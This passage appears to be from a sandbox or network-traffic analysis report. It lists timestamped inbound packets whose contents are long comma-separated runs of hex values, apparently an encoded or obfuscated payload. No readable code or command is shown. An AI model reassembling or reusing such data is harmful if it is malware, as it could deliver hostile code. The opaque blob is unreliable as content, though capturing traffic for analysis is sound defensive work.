2023-04-20 23:05:11 UTC	13837	IN	Data Raw: 2c 65 38 2c 61 35 2c 36 65 2c 31 36 64 2c 61 36 2c 31 31 37 2c 65 37 2c 31 31 36 2c 31 33 30 2c 65 34 2c 31 33 64 2c 31 32 33 2c 39 65 2c 31 32 34 2c 62 34 2c 61 38 2c 61 31 2c 66 36 2c 36 64 2c 37 38 2c 36 64 2c 31 30 31 2c 31 30 63 2c 37 31 2c 63 36 2c 31 31 31 2c 62 38 2c 66 62 2c 61 61 2c 31 35 34 2c 63 66 2c 62 36 2c 61 31 2c 31 32 37 2c 66 33 2c 31 31 66 2c 63 30 2c 63 38 2c 63 39 2c 31 30 39 2c 65 61 2c 65 33 2c 31 33 65 2c 62 31 2c 61 65 2c 38 66 2c 39 62 2c 38 33 2c 66 64 2c 37 61 2c 66 30 2c 31 33 39 2c 39 66 2c 61 31 2c 62 34 2c 38 35 2c 31 32 61 2c 62 32 2c 39 37 2c 61 61 2c 36 35 2c 64 38 2c 39 36 2c 31 32 33 2c 31 35 31 2c 63 33 2c 65 32 2c 31 31 30 2c 31 31 30 2c 31 32 66 2c 31 30 65 2c 31 32 36 2c 31 34 34 2c 66 61 2c 39 36 2c 35 31 2c 61 Data Ascii: ,e8,a5,6e,16d,a6,117,e7,116,130,e4,13d,123,9e,124,b4,a8,a1,f6,6d,78,6d,101,10c,71,c6,111,b8,fb,aa,154,cf,b6,a1,127,f3,11f,c0,c8,c9,109,ea,e3,13e,b1,ae,8f,9b,83,fd,7a,f0,139,9f,a1,b4,85,12a,b2,97,aa,65,d8,96,123,151,c3,e2,110,110,12f,10e,126,144,fa,96,51,a
2023-04-20 23:05:11 UTC	13853	IN	Data Raw: 2c 65 30 2c 62 62 2c 31 32 39 2c 38 33 2c 31 32 39 2c 61 39 2c 31 30 38 2c 38 37 2c 36 31 2c 31 30 61 2c 31 33 33 2c 35 66 2c 63 31 2c 31 31 36 2c 31 35 33 2c 66 62 2c 62 62 2c 31 32 37 2c 39 32 2c 64 32 2c 64 62 2c 65 63 2c 31 33 66 2c 31 33 30 2c 37 36 2c 36 33 2c 65 64 2c 31 30 63 2c 38 61 2c 63 64 2c 31 34 30 2c 39 65 2c 31 30 32 2c 38 39 2c 31 32 64 2c 31 31 62 2c 31 34 37 2c 31 34 66 2c 35 39 2c 38 38 2c 63 33 2c 37 39 2c 36 37 2c 31 33 31 2c 36 37 2c 31 33 34 2c 31 30 62 2c 62 33 2c 39 32 2c 31 30 64 2c 31 31 33 2c 63 32 2c 31 33 62 2c 31 30 39 2c 37 37 2c 31 33 36 2c 39 35 2c 38 61 2c 63 35 2c 31 31 37 2c 31 34 31 2c 31 34 62 2c 31 33 34 2c 38 64 2c 63 61 2c 65 31 2c 65 38 2c 31 32 36 2c 63 63 2c 31 30 61 2c 31 31 66 2c 31 32 38 2c 34 66 2c 66 32 Data Ascii: ,e0,bb,129,83,129,a9,108,87,61,10a,133,5f,c1,116,153,fb,bb,127,92,d2,db,ec,13f,130,76,63,ed,10c,8a,cd,140,9e,102,89,12d,11b,147,14f,59,88,c3,79,67,131,67,134,10b,b3,92,10d,113,c2,13b,109,77,136,95,8a,c5,117,141,14b,134,8d,ca,e1,e8,126,cc,10a,11f,128,4f,f2
2023-04-20 23:05:11 UTC	13869	IN	Data Raw: 2c 64 65 2c 31 35 37 2c 37 35 2c 66 34 2c 66 64 2c 64 62 2c 33 66 2c 36 35 2c 64 35 2c 66 63 2c 31 31 30 2c 31 30 64 2c 34 33 2c 31 32 39 2c 31 33 66 2c 65 33 2c 64 35 2c 31 30 63 2c 63 64 2c 36 38 2c 62 64 2c 62 37 2c 64 34 2c 38 30 2c 31 37 36 2c 64 62 2c 36 66 2c 64 36 2c 31 35 36 2c 37 64 2c 61 34 2c 61 65 2c 61 33 2c 62 64 2c 37 36 2c 35 35 2c 63 62 2c 31 33 31 2c 63 39 2c 65 34 2c 38 34 2c 31 31 37 2c 31 33 66 2c 62 65 2c 31 33 35 2c 31 30 32 2c 31 33 32 2c 31 36 62 2c 31 35 34 2c 66 62 2c 64 66 2c 31 32 32 2c 31 30 66 2c 36 62 2c 64 35 2c 31 33 34 2c 64 61 2c 31 31 33 2c 63 35 2c 37 30 2c 31 33 61 2c 39 38 2c 62 33 2c 66 66 2c 31 32 32 2c 61 30 2c 36 37 2c 63 33 2c 63 64 2c 66 38 2c 63 63 2c 64 39 2c 31 35 34 2c 36 61 2c 31 31 35 2c 31 31 66 2c 39 Data Ascii: ,de,157,75,f4,fd,db,3f,65,d5,fc,110,10d,43,129,13f,e3,d5,10c,cd,68,bd,b7,d4,80,176,db,6f,d6,156,7d,a4,ae,a3,bd,76,55,cb,131,c9,e4,84,117,13f,be,135,102,132,16b,154,fb,df,122,10f,6b,d5,134,da,113,c5,70,13a,98,b3,ff,122,a0,67,c3,cd,f8,cc,d9,154,6a,115,11f,9
2023-04-20 23:05:11 UTC	13885	IN	Data Raw: 35 62 2c 66 37 2c 64 37 2c 65 30 2c 64 63 2c 31 37 36 2c 31 33 66 2c 31 35 30 2c 65 63 2c 34 65 2c 31 30 39 2c 38 36 2c 61 33 2c 31 33 39 2c 64 66 2c 31 33 37 2c 66 30 2c 65 63 2c 31 30 35 2c 31 35 38 2c 66 61 2c 66 64 2c 31 30 32 2c 38 38 2c 65 34 2c 31 31 64 2c 66 35 2c 31 32 38 2c 35 34 2c 31 31 31 2c 31 30 38 2c 31 35 36 2c 31 30 61 2c 37 39 2c 63 38 2c 66 33 2c 31 32 32 2c 38 66 2c 31 32 33 2c 31 31 36 2c 63 32 2c 63 38 2c 62 36 2c 39 30 2c 65 66 2c 37 34 2c 61 63 2c 65 31 2c 64 30 2c 31 32 31 2c 31 32 63 2c 31 35 33 2c 65 38 2c 31 32 33 2c 62 62 2c 31 32 63 2c 36 64 2c 36 33 2c 63 35 2c 61 34 2c 35 65 2c 65 62 2c 31 31 30 2c 31 35 38 2c 38 32 2c 38 37 2c 63 31 2c 31 34 37 2c 38 34 2c 31 30 38 2c 31 34 38 2c 38 32 2c 31 32 35 2c 34 66 2c 66 62 2c 62 Data Ascii: 5b,f7,d7,e0,dc,176,13f,150,ec,4e,109,86,a3,139,df,137,f0,ec,105,158,fa,fd,102,88,e4,11d,f5,128,54,111,108,156,10a,79,c8,f3,122,8f,123,116,c2,c8,b6,90,ef,74,ac,e1,d0,121,12c,153,e8,123,bb,12c,6d,63,c5,a4,5e,eb,110,158,82,87,c1,147,84,108,148,82,125,4f,fb,b
2023-04-20 23:05:11 UTC	13901	IN	Data Raw: 34 62 2c 31 30 31 2c 31 33 30 2c 31 30 36 2c 65 31 2c 31 31 30 2c 31 31 30 2c 39 63 2c 66 62 2c 63 31 2c 39 63 2c 62 31 2c 66 62 2c 31 32 62 2c 62 34 2c 36 64 2c 31 32 66 2c 35 34 2c 37 38 2c 36 64 2c 38 37 2c 31 36 35 2c 31 34 64 2c 31 32 63 2c 33 61 2c 31 34 61 2c 31 32 34 2c 62 30 2c 38 37 2c 39 61 2c 31 32 32 2c 31 30 39 2c 31 31 32 2c 62 63 2c 63 33 2c 36 63 2c 38 61 2c 62 34 2c 37 35 2c 31 31 62 2c 31 35 31 2c 64 66 2c 62 63 2c 38 31 2c 62 61 2c 31 34 38 2c 31 33 39 2c 39 31 2c 37 37 2c 31 30 36 2c 35 38 2c 31 31 39 2c 31 33 66 2c 31 34 30 2c 64 39 2c 61 38 2c 36 34 2c 63 31 2c 65 36 2c 31 31 35 2c 62 62 2c 35 33 2c 37 36 2c 31 32 33 2c 65 36 2c 31 32 30 2c 31 36 36 2c 66 30 2c 66 37 2c 39 61 2c 66 37 2c 37 37 2c 31 31 37 2c 64 33 2c 35 62 2c 66 32 Data Ascii: 4b,101,130,106,e1,110,110,9c,fb,c1,9c,b1,fb,12b,b4,6d,12f,54,78,6d,87,165,14d,12c,3a,14a,124,b0,87,9a,122,109,112,bc,c3,6c,8a,b4,75,11b,151,df,bc,81,ba,148,139,91,77,106,58,119,13f,140,d9,a8,64,c1,e6,115,bb,53,76,123,e6,120,166,f0,f7,9a,f7,77,117,d3,5b,f2
2023-04-20 23:05:11 UTC	13917	IN	Data Raw: 30 64 2c 37 33 2c 38 39 2c 31 31 34 2c 31 32 61 2c 61 65 2c 31 35 33 2c 31 33 62 2c 63 63 2c 31 30 31 2c 37 31 2c 35 31 2c 31 30 38 2c 31 30 34 2c 31 30 33 2c 31 34 62 2c 31 36 34 2c 31 31 63 2c 31 33 31 2c 31 35 36 2c 36 66 2c 66 34 2c 66 64 2c 61 31 2c 61 36 2c 63 61 2c 63 65 2c 31 31 31 2c 31 36 32 2c 65 35 2c 31 31 64 2c 63 61 2c 36 34 2c 31 31 64 2c 31 35 36 2c 31 31 39 2c 31 34 62 2c 63 62 2c 63 35 2c 31 33 34 2c 35 65 2c 31 30 65 2c 36 30 2c 33 63 2c 62 61 2c 64 32 2c 31 34 37 2c 31 35 30 2c 36 61 2c 38 32 2c 34 37 2c 31 35 64 2c 31 32 35 2c 36 66 2c 38 30 2c 31 30 35 2c 31 33 30 2c 64 30 2c 65 33 2c 37 34 2c 37 37 2c 66 66 2c 61 65 2c 31 33 32 2c 62 34 2c 31 36 36 2c 37 63 2c 39 32 2c 61 66 2c 39 66 2c 31 36 64 2c 65 61 2c 31 33 35 2c 38 34 2c 36 Data Ascii: 0d,73,89,114,12a,ae,153,13b,cc,101,71,51,108,104,103,14b,164,11c,131,156,6f,f4,fd,a1,a6,ca,ce,111,162,e5,11d,ca,64,11d,156,119,14b,cb,c5,134,5e,10e,60,3c,ba,d2,147,150,6a,82,47,15d,125,6f,80,105,130,d0,e3,74,77,ff,ae,132,b4,166,7c,92,af,9f,16d,ea,135,84,6
2023-04-20 23:05:11 UTC	13933	IN	Data Raw: 2c 38 64 2c 65 64 2c 39 35 2c 36 31 2c 61 32 2c 61 32 2c 62 38 2c 64 64 2c 66 31 2c 35 64 2c 64 33 2c 63 65 2c 31 30 66 2c 65 36 2c 62 39 2c 31 35 36 2c 65 62 2c 34 32 2c 31 34 31 2c 66 63 2c 36 30 2c 31 31 38 2c 37 32 2c 65 63 2c 61 63 2c 31 34 35 2c 31 30 66 2c 62 61 2c 38 32 2c 39 65 2c 63 63 2c 31 35 38 2c 63 31 2c 31 33 61 2c 38 34 2c 63 34 2c 66 33 2c 31 35 65 2c 31 35 32 2c 66 31 2c 61 39 2c 62 64 2c 31 30 32 2c 36 30 2c 65 64 2c 65 33 2c 31 30 65 2c 62 65 2c 39 62 2c 61 66 2c 65 36 2c 38 63 2c 39 33 2c 39 38 2c 31 30 63 2c 65 37 2c 31 34 33 2c 35 64 2c 31 30 34 2c 39 34 2c 63 66 2c 62 65 2c 63 62 2c 31 33 33 2c 38 66 2c 31 30 65 2c 64 35 2c 38 63 2c 61 34 2c 31 35 38 2c 62 61 2c 31 32 64 2c 63 35 2c 31 32 66 2c 64 64 2c 64 38 2c 35 66 2c 31 34 33 Data Ascii: ,8d,ed,95,61,a2,a2,b8,dd,f1,5d,d3,ce,10f,e6,b9,156,eb,42,141,fc,60,118,72,ec,ac,145,10f,ba,82,9e,cc,158,c1,13a,84,c4,f3,15e,152,f1,a9,bd,102,60,ed,e3,10e,be,9b,af,e6,8c,93,98,10c,e7,143,5d,104,94,cf,be,cb,133,8f,10e,d5,8c,a4,158,ba,12d,c5,12f,dd,d8,5f,143
2023-04-20 23:05:11 UTC	13949	IN	Data Raw: 35 2c 31 31 36 2c 63 33 2c 31 33 62 2c 39 34 2c 31 32 63 2c 31 30 39 2c 36 64 2c 61 34 2c 31 31 30 2c 34 37 2c 37 65 2c 31 33 65 2c 31 30 61 2c 65 39 2c 31 35 31 2c 61 30 2c 66 33 2c 31 30 30 2c 31 30 36 2c 65 34 2c 31 35 33 2c 37 64 2c 31 30 35 2c 66 64 2c 31 32 33 2c 64 35 2c 31 32 32 2c 31 34 32 2c 31 35 62 2c 64 61 2c 64 38 2c 64 36 2c 31 30 36 2c 65 65 2c 36 37 2c 63 38 2c 66 63 2c 37 63 2c 61 64 2c 38 34 2c 61 39 2c 66 61 2c 31 34 31 2c 63 32 2c 31 30 33 2c 31 33 31 2c 62 66 2c 39 31 2c 31 30 35 2c 31 30 35 2c 31 34 64 2c 31 35 38 2c 38 33 2c 31 30 31 2c 31 32 33 2c 37 37 2c 35 39 2c 34 39 2c 64 37 2c 38 64 2c 31 35 30 2c 31 31 62 2c 62 39 2c 31 36 38 2c 31 35 63 2c 39 65 2c 31 33 30 2c 66 63 2c 64 66 2c 31 31 66 2c 31 34 30 2c 31 31 34 2c 31 34 34 Data Ascii: 5,116,c3,13b,94,12c,109,6d,a4,110,47,7e,13e,10a,e9,151,a0,f3,100,106,e4,153,7d,105,fd,123,d5,122,142,15b,da,d8,d6,106,ee,67,c8,fc,7c,ad,84,a9,fa,141,c2,103,131,bf,91,105,105,14d,158,83,101,123,77,59,49,d7,8d,150,11b,b9,168,15c,9e,130,fc,df,11f,140,114,144
2023-04-20 23:05:11 UTC	13965	IN	Data Raw: 33 66 2c 39 61 2c 31 31 66 2c 31 34 62 2c 63 32 2c 61 34 2c 34 66 2c 37 62 2c 65 64 2c 61 65 2c 39 64 2c 31 37 33 2c 62 30 2c 31 30 33 2c 38 64 2c 38 63 2c 31 30 30 2c 66 39 2c 31 33 36 2c 36 39 2c 37 64 2c 31 33 32 2c 31 33 65 2c 66 62 2c 38 61 2c 35 31 2c 31 30 61 2c 31 32 62 2c 64 64 2c 39 64 2c 37 61 2c 38 37 2c 39 66 2c 66 34 2c 65 36 2c 31 30 31 2c 31 33 37 2c 31 30 36 2c 66 66 2c 62 31 2c 31 30 34 2c 31 31 35 2c 31 31 36 2c 31 37 38 2c 61 33 2c 36 39 2c 35 37 2c 38 38 2c 62 64 2c 31 32 34 2c 35 35 2c 64 61 2c 31 36 61 2c 36 36 2c 31 33 37 2c 64 65 2c 31 35 62 2c 36 65 2c 37 63 2c 37 65 2c 61 65 2c 62 39 2c 31 34 37 2c 64 37 2c 63 62 2c 36 36 2c 31 30 31 2c 38 37 2c 31 32 35 2c 31 30 31 2c 63 35 2c 61 38 2c 31 33 65 2c 31 30 36 2c 36 65 2c 31 34 63 Data Ascii: 3f,9a,11f,14b,c2,a4,4f,7b,ed,ae,9d,173,b0,103,8d,8c,100,f9,136,69,7d,132,13e,fb,8a,51,10a,12b,dd,9d,7a,87,9f,f4,e6,101,137,106,ff,b1,104,115,116,178,a3,69,57,88,bd,124,55,da,16a,66,137,de,15b,6e,7c,7e,ae,b9,147,d7,cb,66,101,87,125,101,c5,a8,13e,106,6e,14c
2023-04-20 23:05:11 UTC	13981	IN	Data Raw: 31 30 64 2c 31 32 62 2c 34 63 2c 65 30 2c 65 38 2c 31 30 31 2c 65 64 2c 31 30 66 2c 31 35 35 2c 31 35 35 2c 31 32 65 2c 31 30 64 2c 36 34 2c 31 31 39 2c 31 32 61 2c 31 32 36 2c 36 66 2c 31 35 33 2c 65 30 2c 34 66 2c 31 33 37 2c 31 31 31 2c 37 61 2c 31 31 63 2c 31 33 66 2c 64 66 2c 31 31 30 2c 31 31 35 2c 38 31 2c 37 33 2c 36 33 2c 66 37 2c 31 35 65 2c 31 30 32 2c 34 37 2c 61 61 2c 64 33 2c 31 31 32 2c 35 63 2c 39 31 2c 31 33 31 2c 31 33 34 2c 37 37 2c 63 66 2c 31 34 36 2c 65 64 2c 61 31 2c 31 35 30 2c 31 30 33 2c 31 30 30 2c 63 31 2c 65 34 2c 31 32 62 2c 31 31 38 2c 39 64 2c 31 37 33 2c 31 33 62 2c 39 61 2c 33 61 2c 31 32 36 2c 38 64 2c 31 31 63 2c 61 32 2c 63 32 2c 31 36 36 2c 61 34 2c 35 33 2c 34 63 2c 31 36 63 2c 35 37 2c 31 33 32 2c 64 62 2c 66 33 2c Data Ascii: 10d,12b,4c,e0,e8,101,ed,10f,155,155,12e,10d,64,119,12a,126,6f,153,e0,4f,137,111,7a,11c,13f,df,110,115,81,73,63,f7,15e,102,47,aa,d3,112,5c,91,131,134,77,cf,146,ed,a1,150,103,100,c1,e4,12b,118,9d,173,13b,9a,3a,126,8d,11c,a2,c2,166,a4,53,4c,16c,57,132,db,f3,
2023-04-20 23:05:11 UTC	13997	IN	Data Raw: 39 2c 31 30 36 2c 36 36 2c 31 30 62 2c 31 36 35 2c 31 33 66 2c 66 30 2c 31 30 36 2c 31 32 36 2c 31 31 33 2c 31 34 33 2c 31 31 38 2c 66 61 2c 31 30 31 2c 38 30 2c 64 39 2c 61 65 2c 37 37 2c 64 61 2c 37 65 2c 39 33 2c 31 34 65 2c 31 30 63 2c 31 31 36 2c 31 30 36 2c 31 31 64 2c 35 36 2c 39 36 2c 37 62 2c 31 33 33 2c 36 35 2c 31 30 35 2c 61 31 2c 63 37 2c 31 34 66 2c 36 36 2c 38 64 2c 31 33 38 2c 31 31 62 2c 37 61 2c 31 35 39 2c 62 36 2c 31 33 66 2c 31 31 36 2c 61 61 2c 31 33 35 2c 65 37 2c 31 30 35 2c 64 31 2c 65 34 2c 31 32 38 2c 61 38 2c 61 36 2c 61 62 2c 36 63 2c 38 35 2c 31 34 62 2c 39 62 2c 38 36 2c 63 31 2c 62 39 2c 63 66 2c 34 63 2c 65 37 2c 31 35 39 2c 62 32 2c 31 33 65 2c 31 31 64 2c 61 33 2c 61 35 2c 34 37 2c 31 30 38 2c 31 35 37 2c 31 31 32 2c 36 Data Ascii: 9,106,66,10b,165,13f,f0,106,126,113,143,118,fa,101,80,d9,ae,77,da,7e,93,14e,10c,116,106,11d,56,96,7b,133,65,105,a1,c7,14f,66,8d,138,11b,7a,159,b6,13f,116,aa,135,e7,105,d1,e4,128,a8,a6,ab,6c,85,14b,9b,86,c1,b9,cf,4c,e7,159,b2,13e,11d,a3,a5,47,108,157,112,6
2023-04-20 23:05:11 UTC	14013	IN	Data Raw: 62 35 2c 31 31 31 2c 31 33 31 2c 66 65 2c 35 36 2c 31 32 61 2c 65 30 2c 33 66 2c 31 33 37 2c 31 33 31 2c 37 32 2c 31 34 38 2c 61 36 2c 31 35 35 2c 61 37 2c 31 37 33 2c 31 31 65 2c 37 64 2c 66 31 2c 31 33 32 2c 65 62 2c 66 61 2c 61 31 2c 61 39 2c 37 32 2c 65 62 2c 39 39 2c 36 33 2c 31 30 33 2c 36 38 2c 31 31 34 2c 63 65 2c 39 62 2c 31 35 30 2c 66 63 2c 31 37 36 2c 36 66 2c 36 32 2c 34 38 2c 33 63 2c 63 38 2c 61 36 2c 63 34 2c 63 33 2c 39 61 2c 31 30 33 2c 33 39 2c 37 65 2c 31 34 34 2c 34 33 2c 31 32 63 2c 66 32 2c 31 34 61 2c 39 38 2c 36 39 2c 36 62 2c 31 35 37 2c 37 66 2c 61 36 2c 38 62 2c 31 32 36 2c 65 36 2c 31 33 37 2c 64 35 2c 35 65 2c 64 64 2c 62 65 2c 31 31 64 2c 65 65 2c 39 39 2c 65 39 2c 66 34 2c 63 35 2c 66 39 2c 31 31 65 2c 31 30 37 2c 31 30 66 Data Ascii: b5,111,131,fe,56,12a,e0,3f,137,131,72,148,a6,155,a7,173,11e,7d,f1,132,eb,fa,a1,a9,72,eb,99,63,103,68,114,ce,9b,150,fc,176,6f,62,48,3c,c8,a6,c4,c3,9a,103,39,7e,144,43,12c,f2,14a,98,69,6b,157,7f,a6,8b,126,e6,137,d5,5e,dd,be,11d,ee,99,e9,f4,c5,f9,11e,107,10f
2023-04-20 23:05:11 UTC	14029	IN	Data Raw: 36 2c 31 34 62 2c 61 31 2c 62 38 2c 62 36 2c 61 33 2c 63 33 2c 62 32 2c 31 30 62 2c 31 36 30 2c 35 65 2c 31 34 62 2c 31 34 64 2c 64 35 2c 31 33 35 2c 64 37 2c 62 37 2c 31 34 39 2c 31 30 39 2c 38 39 2c 31 34 32 2c 39 61 2c 31 33 32 2c 31 35 64 2c 66 65 2c 66 62 2c 39 66 2c 61 63 2c 63 39 2c 35 36 2c 31 32 62 2c 31 30 66 2c 36 35 2c 39 62 2c 64 35 2c 66 34 2c 61 38 2c 62 64 2c 31 30 39 2c 36 37 2c 31 37 34 2c 31 35 39 2c 31 32 35 2c 61 35 2c 62 38 2c 31 32 61 2c 31 33 37 2c 38 64 2c 63 66 2c 31 35 63 2c 39 61 2c 62 66 2c 36 64 2c 38 31 2c 31 30 61 2c 31 30 35 2c 31 30 34 2c 31 35 31 2c 39 63 2c 39 63 2c 62 63 2c 37 61 2c 64 35 2c 31 33 62 2c 37 61 2c 37 66 2c 31 31 30 2c 36 63 2c 31 30 64 2c 31 33 36 2c 31 33 63 2c 33 36 2c 31 35 32 2c 39 33 2c 39 38 2c 31 Data Ascii: 6,14b,a1,b8,b6,a3,c3,b2,10b,160,5e,14b,14d,d5,135,d7,b7,149,109,89,142,9a,132,15d,fe,fb,9f,ac,c9,56,12b,10f,65,9b,d5,f4,a8,bd,109,67,174,159,125,a5,b8,12a,137,8d,cf,15c,9a,bf,6d,81,10a,105,104,151,9c,9c,bc,7a,d5,13b,7a,7f,110,6c,10d,136,13c,36,152,93,98,1
2023-04-20 23:05:11 UTC	14045	IN	Data Raw: 63 33 2c 63 34 2c 61 31 2c 61 37 2c 31 34 61 2c 31 31 30 2c 31 32 35 2c 62 39 2c 35 36 2c 36 65 2c 61 30 2c 62 61 2c 66 31 2c 31 30 62 2c 31 31 35 2c 37 65 2c 36 63 2c 31 31 64 2c 31 34 31 2c 66 64 2c 61 66 2c 63 30 2c 63 32 2c 31 30 34 2c 31 33 33 2c 35 33 2c 62 33 2c 64 30 2c 38 64 2c 31 32 31 2c 62 33 2c 62 37 2c 38 64 2c 31 33 32 2c 66 62 2c 65 33 2c 37 31 2c 36 61 2c 31 33 34 2c 63 32 2c 66 39 2c 35 64 2c 31 33 34 2c 62 31 2c 61 66 2c 31 34 38 2c 39 30 2c 31 33 62 2c 31 33 34 2c 66 33 2c 31 30 37 2c 35 65 2c 65 35 2c 62 31 2c 31 31 64 2c 39 66 2c 38 30 2c 38 37 2c 36 32 2c 37 61 2c 66 61 2c 31 31 35 2c 31 33 61 2c 39 33 2c 31 34 37 2c 31 30 38 2c 65 64 2c 31 32 37 2c 31 34 37 2c 63 31 2c 31 34 32 2c 62 62 2c 63 34 2c 31 31 63 2c 62 62 2c 31 33 35 2c Data Ascii: c3,c4,a1,a7,14a,110,125,b9,56,6e,a0,ba,f1,10b,115,7e,6c,11d,141,fd,af,c0,c2,104,133,53,b3,d0,8d,121,b3,b7,8d,132,fb,e3,71,6a,134,c2,f9,5d,134,b1,af,148,90,13b,134,f3,107,5e,e5,b1,11d,9f,80,87,62,7a,fa,115,13a,93,147,108,ed,127,147,c1,142,bb,c4,11c,bb,135,
2023-04-20 23:05:11 UTC	14061	IN	Data Raw: 31 33 66 2c 31 31 37 2c 31 35 32 2c 39 33 2c 61 32 2c 31 34 36 2c 36 38 2c 65 30 2c 31 30 37 2c 31 32 33 2c 64 66 2c 66 30 2c 36 32 2c 35 31 2c 31 37 31 2c 61 62 2c 38 36 2c 36 65 2c 31 30 65 2c 63 31 2c 61 32 2c 31 33 31 2c 31 36 30 2c 62 65 2c 37 39 2c 64 65 2c 31 30 39 2c 64 61 2c 39 61 2c 31 32 30 2c 31 33 66 2c 61 34 2c 65 65 2c 31 32 36 2c 38 39 2c 36 61 2c 65 30 2c 64 61 2c 31 34 66 2c 31 34 32 2c 62 62 2c 66 65 2c 62 37 2c 66 38 2c 64 36 2c 65 61 2c 63 32 2c 31 32 30 2c 62 63 2c 37 61 2c 31 32 62 2c 65 36 2c 66 34 2c 31 33 30 2c 31 35 62 2c 62 39 2c 38 66 2c 31 30 37 2c 39 35 2c 39 62 2c 31 32 31 2c 38 31 2c 65 33 2c 31 31 62 2c 35 39 2c 63 33 2c 64 62 2c 64 36 2c 31 30 35 2c 31 35 63 2c 31 35 63 2c 63 33 2c 64 65 2c 31 31 35 2c 31 34 65 2c 35 32 Data Ascii: 13f,117,152,93,a2,146,68,e0,107,123,df,f0,62,51,171,ab,86,6e,10e,c1,a2,131,160,be,79,de,109,da,9a,120,13f,a4,ee,126,89,6a,e0,da,14f,142,bb,fe,b7,f8,d6,ea,c2,120,bc,7a,12b,e6,f4,130,15b,b9,8f,107,95,9b,121,81,e3,11b,59,c3,db,d6,105,15c,15c,c3,de,115,14e,52
2023-04-20 23:05:11 UTC	14077	IN	Data Raw: 2c 37 32 2c 33 61 2c 31 34 64 2c 65 33 2c 63 37 2c 31 36 31 2c 37 37 2c 65 34 2c 39 37 2c 66 62 2c 66 61 2c 33 34 2c 31 33 37 2c 39 61 2c 31 35 31 2c 31 33 35 2c 64 32 2c 65 31 2c 31 31 62 2c 34 64 2c 36 31 2c 36 38 2c 63 35 2c 37 63 2c 31 33 61 2c 66 30 2c 31 31 36 2c 65 35 2c 64 64 2c 65 62 2c 61 34 2c 65 32 2c 64 31 2c 33 38 2c 31 35 30 2c 31 33 34 2c 31 34 34 2c 31 35 31 2c 64 37 2c 31 30 66 2c 34 33 2c 65 36 2c 38 31 2c 31 31 38 2c 62 33 2c 64 34 2c 37 38 2c 31 34 32 2c 31 31 38 2c 64 32 2c 61 63 2c 64 35 2c 39 38 2c 37 32 2c 31 34 33 2c 31 35 39 2c 61 39 2c 38 61 2c 35 39 2c 39 62 2c 31 34 66 2c 31 31 32 2c 64 39 2c 39 35 2c 61 62 2c 38 38 2c 35 36 2c 38 36 2c 31 32 35 2c 31 32 33 2c 66 39 2c 66 36 2c 35 30 2c 39 32 2c 38 62 2c 61 65 2c 62 39 2c 35 Data Ascii: ,72,3a,14d,e3,c7,161,77,e4,97,fb,fa,34,137,9a,151,135,d2,e1,11b,4d,61,68,c5,7c,13a,f0,116,e5,dd,eb,a4,e2,d1,38,150,134,144,151,d7,10f,43,e6,81,118,b3,d4,78,142,118,d2,ac,d5,98,72,143,159,a9,8a,59,9b,14f,112,d9,95,ab,88,56,86,125,123,f9,f6,50,92,8b,ae,b9,5
2023-04-20 23:05:11 UTC	14093	IN	Data Raw: 31 34 33 2c 38 34 2c 35 62 2c 31 31 37 2c 35 38 2c 65 33 2c 61 63 2c 62 34 2c 64 62 2c 31 34 37 2c 39 35 2c 35 33 2c 31 30 30 2c 31 31 37 2c 38 32 2c 35 39 2c 31 33 66 2c 31 30 64 2c 31 31 65 2c 65 31 2c 62 37 2c 62 61 2c 62 32 2c 36 63 2c 31 30 39 2c 31 30 37 2c 65 37 2c 36 30 2c 61 66 2c 66 63 2c 65 35 2c 31 32 34 2c 31 30 30 2c 31 30 33 2c 64 33 2c 31 30 35 2c 31 32 30 2c 31 33 35 2c 31 34 61 2c 65 32 2c 31 31 37 2c 31 30 64 2c 31 36 33 2c 33 65 2c 31 33 36 2c 31 32 61 2c 31 36 32 2c 36 34 2c 34 64 2c 34 66 2c 31 35 30 2c 64 61 2c 31 31 33 2c 39 63 2c 31 33 31 2c 38 31 2c 31 34 39 2c 63 64 2c 31 31 33 2c 63 36 2c 31 35 64 2c 31 33 61 2c 31 31 35 2c 38 62 2c 63 36 2c 66 63 2c 31 32 65 2c 39 37 2c 31 31 64 2c 31 31 38 2c 31 33 32 2c 31 33 33 2c 31 30 36 Data Ascii: 143,84,5b,117,58,e3,ac,b4,db,147,95,53,100,117,82,59,13f,10d,11e,e1,b7,ba,b2,6c,109,107,e7,60,af,fc,e5,124,100,103,d3,105,120,135,14a,e2,117,10d,163,3e,136,12a,162,64,4d,4f,150,da,113,9c,131,81,149,cd,113,c6,15d,13a,115,8b,c6,fc,12e,97,11d,118,132,133,106
2023-04-20 23:05:11 UTC	14109	IN	Data Raw: 65 30 2c 33 63 2c 31 34 37 2c 33 66 2c 35 39 2c 31 32 34 2c 31 30 66 2c 31 34 66 2c 31 30 62 2c 63 37 2c 64 31 2c 65 33 2c 31 34 64 2c 31 35 35 2c 64 33 2c 35 62 2c 62 61 2c 61 32 2c 31 31 39 2c 63 31 2c 63 34 2c 61 35 2c 65 63 2c 31 34 39 2c 38 36 2c 31 33 64 2c 31 32 66 2c 61 36 2c 39 39 2c 62 64 2c 39 62 2c 31 32 66 2c 35 30 2c 31 30 32 2c 63 35 2c 64 34 2c 62 63 2c 31 30 31 2c 31 35 35 2c 31 30 38 2c 31 36 34 2c 31 32 32 2c 31 32 30 2c 63 65 2c 64 61 2c 31 35 63 2c 36 31 2c 31 33 62 2c 66 30 2c 65 36 2c 31 33 32 2c 62 34 2c 38 34 2c 65 30 2c 31 30 65 2c 61 64 2c 33 62 2c 38 66 2c 31 35 66 2c 33 31 2c 64 65 2c 37 39 2c 61 33 2c 66 32 2c 66 62 2c 31 32 34 2c 31 34 64 2c 64 36 2c 31 31 34 2c 31 35 33 2c 65 66 2c 37 64 2c 38 61 2c 62 64 2c 63 66 2c 31 35 Data Ascii: e0,3c,147,3f,59,124,10f,14f,10b,c7,d1,e3,14d,155,d3,5b,ba,a2,119,c1,c4,a5,ec,149,86,13d,12f,a6,99,bd,9b,12f,50,102,c5,d4,bc,101,155,108,164,122,120,ce,da,15c,61,13b,f0,e6,132,b4,84,e0,10e,ad,3b,8f,15f,31,de,79,a3,f2,fb,124,14d,d6,114,153,ef,7d,8a,bd,cf,15
